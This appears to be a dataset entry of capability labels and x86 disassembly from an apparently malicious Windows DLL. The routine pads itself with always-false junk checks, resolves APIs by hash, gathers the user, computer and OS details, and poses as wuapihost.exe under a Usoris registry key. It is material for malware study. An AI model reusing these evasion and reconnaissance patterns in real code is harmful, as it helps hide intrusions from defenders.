Function at 0x1000d0a3
Capabilities:
Accept command line arguments
Check os version
Get common file path
Get hostname
Get session user name
Parse pe header
Reference http user-agent string
Set current directory
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x2fc
mov eax, dword [esp + 0x314]
test eax, eax
je 0x1000d38a
cmp eax, 1
jne 0x1000ef0c
mov esi, dword [esp + 0x310]
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x1002cce0], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d15b
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000d15b
mov edi, dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor ebx, ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
call edi
push ebx
call ebp
mov dword [0x1002cce0], eax
push esi
call edi
push ebx
call ebp
mov dword [0x1002cce0], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d136
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000d107
push esi
call edi
push 0
call ebp
mov dword [0x1002cce0], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d15b
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000d107
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x20a
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x1002cd1c], eax
push 0x105
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1000dae3
push dword [0x1002cd1c]
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call ebp
mov edx, 0x20a
mov ecx, 8
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edx
push ecx
push eax
call edi
mov dword [0x1002cd58], eax
mov ecx, 0x104
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [0x1002cd6c], eax
call ebp
mov ecx, 0x20a
push ecx
mov esi, 0x20a
mov ecx, 8
push ecx
mov ebx, 8
push eax
call edi
mov dword [0x1002cd64], eax
mov ecx, dword [0x1002cd6c]
add ecx, ecx
push ecx
push dword [0x1002cd58]
push eax
call sub.NTDLL.dll_RtlMoveMemory
mov eax, dword [0x1002cd64]
mov dword [0x1002cd68], eax
push dword [0x1002cd58]
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push dword [0x1002cd58]
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
push dword [0x1002cd58]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov eax, dword [0x1002cd58]
mov dword [0x1002cd5c], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [0x1002cd60], eax
call ebp
push esi
push ebx
push eax
call edi
mov dword [0x1002cd70], eax
mov ecx, 0x104
push ecx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [0x1002cd78], eax
mov esi, dword [0x1002cd70]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [0x1002cd7c], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d2dd
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000d2dd
mov edi, dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push esi
call edi
mov dword [0x1002cd7c], eax
push esi
call edi
mov dword [0x1002cd7c], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d2bc
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000d293
push esi
call edi
mov dword [0x1002cd7c], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d2dd
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000d293
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea edi, [esp + 0x30]
mov eax, dword [0x1002cd70]
mov dword [0x1002cd74], eax
push dword [0x1002cd64]
call ebp
mov dword [0x1002cce4], eax
push str.kernel32.dll
call ebp
mov ebx, eax
movups xmm0, xmmword [0x1002406c]
movups xmmword [esp + 0x30], xmm0
push 0xff000000
push 1
push edi
push eax
call fcn.100153af
add esp, 0x10
mov eax, dword [esp + 0x3c]
cmp dword [0x1002d368], 0xa
jl 0x1000d3eb
mov ecx, dword [0x1002d36c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x1000d3eb
mov eax, dword [0x1002cd70]
mov dword [0x1002cd74], eax
push dword [0x1002cd64]
call ebp
mov dword [0x1002cce4], eax
push str.kernel32.dll
call ebp
movups xmm0, xmmword [0x1002406c]
movups xmmword [esp + 0x30], xmm0
push 0xff000000
push 1
push edi
push eax
call fcn.100153af
add esp, 0x10
jmp 0x1000d2e7
mov esi, dword [0x1002cd1c]
test esi, esi
je 0x1000d3a4
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [0x1002d36c]
mov eax, dword [0x1002d368]
mov edi, dword [0x1002cd58]
test edi, edi
je 0x1000e7fc
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, eax
cmp dword [0x1002d368], 0xa
jl 0x1000e7cb
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000e7f0
jmp 0x1000e7cb
test eax, eax
je 0x1000d3f4
mov dword [0x1002ca7c], eax
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
cmp dword [0x1002d368], 0xa
jl 0x1000d460
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000d460
mov esi, str.ntdll.dll
push esi
call ebp
push esi
call ebp
cmp dword [0x1002d368], 0xa
jl 0x1000d43e
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000d41f
push str.ntdll.dll
call ebp
mov edi, eax
cmp dword [0x1002d368], 0xa
jl 0x1000d460
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000d41f
mov dword [esp + 4], ebx
movups xmm0, xmmword [0x1002407c]
lea ebx, [esp + 0x40]
movups xmmword [ebx], xmm0
push 0xff000000
push 1
push ebx
push edi
call fcn.100153af
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000d4d4
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000d4d4
mov esi, 0xff000000
xor ebp, ebp
inc ebp
push esi
push ebp
push ebx
push edi
call fcn.100153af
add esp, 0x10
push esi
push ebp
push ebx
push edi
call fcn.100153af
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000d4d4
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, ebp
jne 0x1000d4a4
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x1000d4e1
mov dword [0x1002ca80], eax
push dword [0x1002cd64]
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
lea ebx, [esp + 0xf2]
push eax
push dword [0x1002cd1c]
push 0x100271fc
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov edi, dword [0x1002ca7c]
push ebx
call edi
mov dword [0x1002d138], eax
mov edx, dword [0x1002d36c]
mov ecx, dword [0x1002d368]
cmp ecx, 0xa
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
jl 0x1000d59f
lea esi, [edx + 1]
imul esi, edx
and esi, 1
je 0x1000d59f
push ebx
call edi
mov dword [0x1002d138], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d55b
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000d57c
push ebx
call edi
mov dword [0x1002d138], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d586
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000d586
push ebx
call edi
mov dword [0x1002d138], eax
jmp 0x1000d55b
push ebx
call edi
mov dword [0x1002d138], eax
mov edx, dword [0x1002d36c]
mov ecx, dword [0x1002d368]
cmp ecx, 0xa
jge 0x1000d52f
test eax, eax
je 0x1000d5b4
call fcn.1000f5e7
mov edx, dword [0x1002d36c]
mov ecx, dword [0x1002d368]
lea eax, [edx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1000d5c6
test eax, eax
jne 0x1000d608
mov esi, 0x11c
mov edi, 0x1002cebc
push esi
push edi
call sub.NTDLL.dll_RtlZeroMemory
mov dword [0x1002cebc], esi
push edi
call sub.NTDLL.dll_RtlGetVersion
push 0
call fcn.1001325b
add esp, 4
mov edi, eax
cmp dword [0x1002d368], 0xa
jl 0x1000d631
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000d631
mov esi, 0x11c
mov edi, 0x1002cebc
push esi
push edi
call sub.NTDLL.dll_RtlZeroMemory
mov dword [0x1002cebc], esi
push edi
call sub.NTDLL.dll_RtlGetVersion
push 0
call fcn.1001325b
add esp, 4
jmp 0x1000d5c6
mov dword [0x1002cd88], edi
push 0
call fcn.1000c9b3
add esp, 4
mov dword [0x1002cd84], eax
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov dword [0x1002cd24], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d6c1
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000d6c1
xor esi, esi
mov ebx, dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov dword [0x1002cd88], edi
push esi
call fcn.1000c9b3
add esp, 4
mov dword [0x1002cd84], eax
call ebx
mov dword [0x1002cd24], eax
mov dword [0x1002cd88], edi
push esi
call fcn.1000c9b3
add esp, 4
mov dword [0x1002cd84], eax
call ebx
mov dword [0x1002cd24], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d6c1
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000d672
mov eax, dword [0x1002cce0]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
jne 0x1000ef0c
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x1000ef0c
mov eax, dword [eax + ecx + 0x58]
cmp eax, 0x13df7ca
je 0x1000d738
cmp eax, 0x3b75f
jne 0x1000d73f
mov esi, dword [0x1002cd50]
sub esp, 4
push esi
call fcn.10012983
add esp, 8
cmp dword [0x1002d368], 0xa
jl 0x1000dae3
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000dae3
sub esp, 4
push esi
call fcn.10012983
add esp, 4
jmp 0x1000d700
mov byte [0x1002d144], 1
mov dword [esp + 0x1c], 0x104
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x20a
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x1002cd34], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d7bc
mov ecx, dword [0x1002d36c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x1000d7bc
mov esi, 0x20a
mov edi, 8
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
call ebp
push esi
push edi
push eax
call ebx
mov dword [0x1002cd34], eax
call ebp
push esi
push edi
push eax
call ebx
mov dword [0x1002cd34], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d7bc
mov ecx, dword [0x1002d36c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
jne 0x1000d78a
test eax, eax
je 0x1000d7da
lea ecx, [esp + 0x1c]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x1000d7da
mov eax, dword [0x1002cd34]
mov word [eax], 0
mov dword [esp + 0x14], 0x104
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edi, eax
cmp dword [0x1002d368], 0xa
mov esi, 0x104
jl 0x1000d81b
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000d81b
call ebp
mov esi, dword [esp + 0x14]
call ebp
mov edi, eax
cmp dword [0x1002d368], 0xa
jge 0x1000d7f8
lea ebp, [esi + esi]
add ebp, 2
push ebp
push 8
push edi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov dword [0x1002cd40], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d8ad
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000d8ad
mov esi, 8
push ebp
push esi
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
call ebx
mov dword [0x1002cd40], eax
push ebp
push esi
push edi
call ebx
mov dword [0x1002cd40], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d883
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000d850
push ebp
push 8
push edi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov dword [0x1002cd40], eax
cmp dword [0x1002d368], 0xa
jl 0x1000d8ad
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000d850
test ebx, ebx
je 0x1000d930
lea esi, [esp + 0x14]
push esi
push ebx
push 3
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
cmp dword [0x1002d368], 0xa
jl 0x1000d908
mov ecx, dword [0x1002d36c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x1000d908
mov edi, 3
mov ebp, dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
push esi
push ebx
push edi
call ebp
push esi
push ebx
push edi
call ebp
cmp dword [0x1002d368], 0xa
jl 0x1000d908
mov ecx, dword [0x1002d36c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
jne 0x1000d8e4
test eax, eax
jne 0x1000d930
mov eax, dword [0x1002cd40]
mov word [eax], 0
cmp dword [0x1002d368], 0xa
jl 0x1000d930
mov ecx, dword [0x1002d36c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
jne 0x1000d911
mov eax, dword [0x1002cd34]
mov dword [0x1002cd30], eax
mov eax, dword [0x1002cd40]
mov dword [0x1002cd3c], eax
cmp byte [0x1002d144], 1
jne 0x1000ef0c
mov dword [0x1002ceb4], str.wuapihost.exe
push 0x1002cd2c
call fcn.10010b94
add esp, 4
mov dword [0x1002cd00], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ebx, eax
lea esi, [esp + 0x10]
mov dword [esi], 0
push esi
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
cmp dword [0x1002d368], 0xa
jl 0x1000d9cb
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000d9cb
mov ebp, dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push esi
push ebx
call ebp
push esi
push ebx
call ebp
mov edi, eax
cmp dword [0x1002d368], 0xa
jl 0x1000d9cb
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000d9a8
test edi, edi
je 0x1000dac0
push dword [edi]
call dword [sym.imp.USER32.dll_CharLowerW]
cmp dword [0x1002d368], 0xa
jl 0x1000da38
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000da38
mov esi, dword [sym.imp.USER32.dll_CharLowerW]
push dword [edi]
call esi
push dword [edi]
call esi
cmp dword [0x1002d368], 0xa
jl 0x1000da1b
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000d9fa
push dword [edi]
call esi
cmp dword [0x1002d368], 0xa
jl 0x1000da38
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000d9fa
cmp dword [esp + 0x10], 2
jl 0x1000dab9
mov eax, dword [esp + 0x10]
cmp eax, 2
jl 0x1000dab9
xor ebx, ebx
inc ebx
mov ebp, dword [sym.imp.SHLWAPI.dll_StrToIntW]
dec eax
mov ecx, dword [edi + ebx*4]
movzx edx, word [ecx]
cmp ebx, eax
jge 0x1000da99
cmp dx, 0x77
jne 0x1000da99
cmp word [ecx + 2], 0
jne 0x1000dab0
mov esi, dword [edi + ebx*4 + 4]
inc ebx
push esi
call ebp
mov dword [0x1002cd50], eax
cmp dword [0x1002d368], 0xa
jl 0x1000dab0
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000dab0
push esi
call ebp
mov dword [0x1002cd50], eax
jmp 0x1000da6e
cmp dx, 0x6b
jne 0x1000dab0
cmp word [ecx + 2], 0
jne 0x1000dab0
mov dword [0x1002cd08], 1
inc ebx
mov eax, dword [esp + 0x10]
cmp ebx, eax
jl 0x1000da51
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, eax
cmp dword [0x1002d368], 0xa
jl 0x1000daeb
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000db14
jmp 0x1000daeb
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x208
push 8
push ebx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
cmp dword [0x1002d368], 0xa
jl 0x1000db24
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000db24
push 0x208
push 8
push ebx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x1000daeb
mov dword [0x1002cd54], edi
test edi, edi
je 0x1000dbac
mov eax, dword [0x1002cec4]
mov ecx, dword [0x1002cec0]
mov dword [esp], eax
push eax
mov dword [esp + 0x1c], ecx
push ecx
push str.Mozilla_5.0__Windows_NT__u._u__Firefox_78.0
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000dbac
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000dbac
mov ebp, dword [esp]
mov esi, dword [esp + 0x18]
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push ebp
push esi
mov eax, str.Mozilla_5.0__Windows_NT__u._u__Firefox_78.0
push eax
push edi
call ebx
add esp, 0x10
push ebp
push esi
mov eax, str.Mozilla_5.0__Windows_NT__u._u__Firefox_78.0
push eax
push edi
call ebx
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000dbac
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000db77
mov esi, dword [0x1002cd2c]
mov edi, dword [0x1002cd3c]
push esi
push edi
push dword [0x1002cd30]
call fcn.10012a9e
add esp, 0xc
mov ecx, eax
cmp dword [0x1002d368], 0xa
jl 0x1000dc27
mov eax, dword [0x1002d36c]
lea edx, [eax + 1]
imul edx, eax
and edx, 1
lea ebx, [esp + 0xf2]
je 0x1000dc2e
push esi
push edi
push dword [0x1002cd30]
call fcn.10012a9e
add esp, 0xc
push esi
push edi
push dword [0x1002cd30]
call fcn.10012a9e
add esp, 0xc
mov ecx, eax
cmp dword [0x1002d368], 0xa
jl 0x1000dc2e
mov eax, dword [0x1002d36c]
lea edx, [eax + 1]
imul edx, eax
and edx, 1
jne 0x1000dbea
jmp 0x1000dc2e
lea ebx, [esp + 0xf2]
mov edx, 3
mov eax, ecx
mul edx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1e
mov edx, eax
shl edx, 0x1f
or edx, eax
add edx, ecx
mov dword [0x1002cd20], edx
sub esp, 0x24
xor eax, eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x18], eax
movaps xmm0, xmmword [0x10024360]
movups xmmword [esp + 8], xmm0
mov dword [esp + 0x1c], 0x1002c988
mov dword [esp + 4], str.SOFTWAREUsorisBackup
mov dword [esp], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1000dae3
cmp dword [0x1002d368], 0xa
jl 0x1000dca8
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000dcd9
push 1
push dword [0x1002cd58]
call fcn.100097bc
add esp, 8
mov eax, dword [0x1002cd1c]
mov dword [esp], eax
cmp dword [0x1002d368], 0xa
jl 0x1000dceb
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000dceb
push 1
push dword [0x1002cd58]
call fcn.100097bc
add esp, 8
jmp 0x1000dca8
push str.imagehlp.dll
push dword [esp + 4]
push 0x100271fc
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000dda6
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000dda6
mov esi, dword [esp]
mov ebp, 0x100271fc
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov eax, str.imagehlp.dll
push eax
push esi
push ebp
lea ebx, [esp + 0xfe]
push ebx
call edi
add esp, 0x10
mov eax, str.imagehlp.dll
push eax
push esi
push ebp
push ebx
call edi
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000dd6e
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000dd32
push str.imagehlp.dll
push dword [esp + 4]
push 0x100271fc
lea eax, [esp + 0xfe]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000dda6
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000dd32
mov esi, dword [0x1002ca7c]
lea ebp, [esp + 0xf2]
push ebp
call esi
mov dword [esp + 0xc], 2
mov dword [esp + 8], 1
cmp dword [0x1002d368], 0xa
jl 0x1000de17
mov ecx, dword [0x1002d36c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x1000de17
mov edi, 2
xor ebx, ebx
inc ebx
push ebp
call esi
mov dword [esp + 0xc], edi
mov dword [esp + 8], ebx
push ebp
call esi
mov dword [esp + 0xc], edi
mov dword [esp + 8], ebx
cmp dword [0x1002d368], 0xa
jl 0x1000de17
mov ecx, dword [0x1002d36c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, ebx
jne 0x1000dde8
movups xmm0, xmmword [0x1002408c]
lea esi, [esp + 0xe0]
movups xmmword [esi], xmm0
push 0x631143df
push 1
push esi
push eax
call fcn.100153af
add esp, 0x10
mov edi, dword [esi + 0xc]
test edi, edi
je 0x1000de9a
lea ebx, [esp + 0xc]
lea ebp, [esp + 8]
push ebx
push ebp
push dword [0x1002cd64]
call edi
cmp dword [0x1002d368], 0xa
jl 0x1000de9a
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000de9a
push ebx
push ebp
push dword [0x1002cd64]
call edi
push ebx
push ebp
push dword [0x1002cd64]
call edi
cmp dword [0x1002d368], 0xa
jl 0x1000de48
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000de6b
jmp 0x1000de48
call fcn.1000cb07
test eax, eax
jne 0x1000dae3
mov dword [0x1002d140], 1
cmp dword [esp + 4], 0
je 0x1000dfbc
movups xmm0, xmmword [0x1002409c]
lea esi, [esp + 0x20]
mov ebx, dword [esp + 4]
movups xmmword [esp + 0x20], xmm0
push 0x631143df
push 1
push esi
push ebx
call fcn.100153af
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000df20
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000df20
movups xmm0, xmmword [0x1002409c]
movups xmmword [esp + 0x20], xmm0
push 0x631143df
push 1
push esi
push ebx
call fcn.100153af
movups xmm0, xmmword [0x1002409c]
add esp, 0x10
jmp 0x1000decb
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x1000df2d
mov dword [0x1002c9c0], eax
push 0xffffffffffffffff
call fcn.10012c2f
add esp, 4
mov dword [0x1002cd28], eax
lea edi, [esp + 0x50]
push 0x90
push 0x100240ac
push edi
call fcn.10018c00
add esp, 0xc
push 0x631143df
push 9
push edi
push ebx
call fcn.10017574
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000dfbc
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000dfbc
mov esi, 0x631143df
mov ebx, 9
mov ebp, dword [esp + 4]
push esi
push ebx
push edi
push ebp
call fcn.10017574
add esp, 0x10
push esi
push ebx
push edi
push ebp
call fcn.10017574
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000dfbc
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000df8b
mov eax, dword [0x1002cd1c]
push str.user32.dll
mov dword [esp + 4], eax
push eax
push 0x100271fc
lea eax, [esp + 0xfe]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000e044
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000e044
mov ebx, dword [esp]
mov ebp, 0x100271fc
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
mov eax, str.user32.dll
push eax
push ebx
push ebp
lea edi, [esp + 0xfe]
push edi
call esi
add esp, 0x10
mov eax, str.user32.dll
push eax
push ebx
push ebp
push edi
call esi
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000e044
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000e008
lea ebp, [esp + 0xf2]
push ebp
call dword [0x1002ca7c]
mov dword [0x1002c9b4], eax
mov dword [esp], eax
test eax, eax
je 0x1000e134
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1002d368], 0xa
setl dl
or dl, al
lea edi, [esp + 0x50]
mov ecx, 0x20
mov esi, 0x1002413c
rep movsd dword es:[edi], dword [esi]
jne 0x1000e0b5
lea eax, [esp + 0x50]
mov ecx, 0x20
mov edi, eax
mov esi, 0x1002413c
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x20
mov edi, eax
mov esi, 0x1002413c
rep movsd dword es:[edi], dword [esi]
test dl, dl
je 0x1000e095
push 0x631143df
push 8
lea eax, [esp + 0x58]
push eax
push dword [esp + 0xc]
call fcn.10017574
add esp, 0x10
mov edx, dword [0x1002d36c]
mov ecx, dword [0x1002d368]
lea eax, [edx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1000e149
test eax, eax
je 0x1000e149
mov edi, 0x631143df
mov ebx, 8
mov ebp, dword [esp]
push edi
push ebx
lea esi, [esp + 0x58]
push esi
push ebp
call fcn.10017574
add esp, 0x10
push edi
push ebx
push esi
push ebp
call fcn.10017574
add esp, 0x10
mov edx, dword [0x1002d36c]
mov ecx, dword [0x1002d368]
lea eax, [edx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1000e149
test eax, eax
jne 0x1000e0f8
jmp 0x1000e149
mov edx, dword [0x1002d36c]
mov ecx, dword [0x1002d368]
lea eax, [edx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
lea edi, [esp + 0xf2]
jl 0x1000e159
test eax, eax
jne 0x1000e192
push str.shell32.dll
push dword [0x1002cd1c]
push 0x100271fc
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov esi, dword [0x1002ca7c]
cmp dword [0x1002d368], 0xa
jl 0x1000e1e8
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000e1e8
push str.shell32.dll
push dword [0x1002cd1c]
push 0x100271fc
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x1000e159
mov ecx, dword [0x1002d36c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x1000e1f9
push edi
call esi
mov dword [0x1002cd94], eax
push edi
call esi
mov dword [0x1002cd94], eax
cmp dword [0x1002d368], 0xa
jl 0x1000e1e8
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000e1bf
push edi
call esi
mov dword [0x1002cd94], eax
cmp dword [0x1002d368], 0xa
jge 0x1000e1ae
test eax, eax
je 0x1000e227
movups xmm0, xmmword [0x100241cc]
lea ecx, [esp + 0x50]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [0x100241bc]
movups xmmword [ecx], xmm0
push 0x631143df
push 2
push ecx
push eax
call fcn.10017574
add esp, 0x10
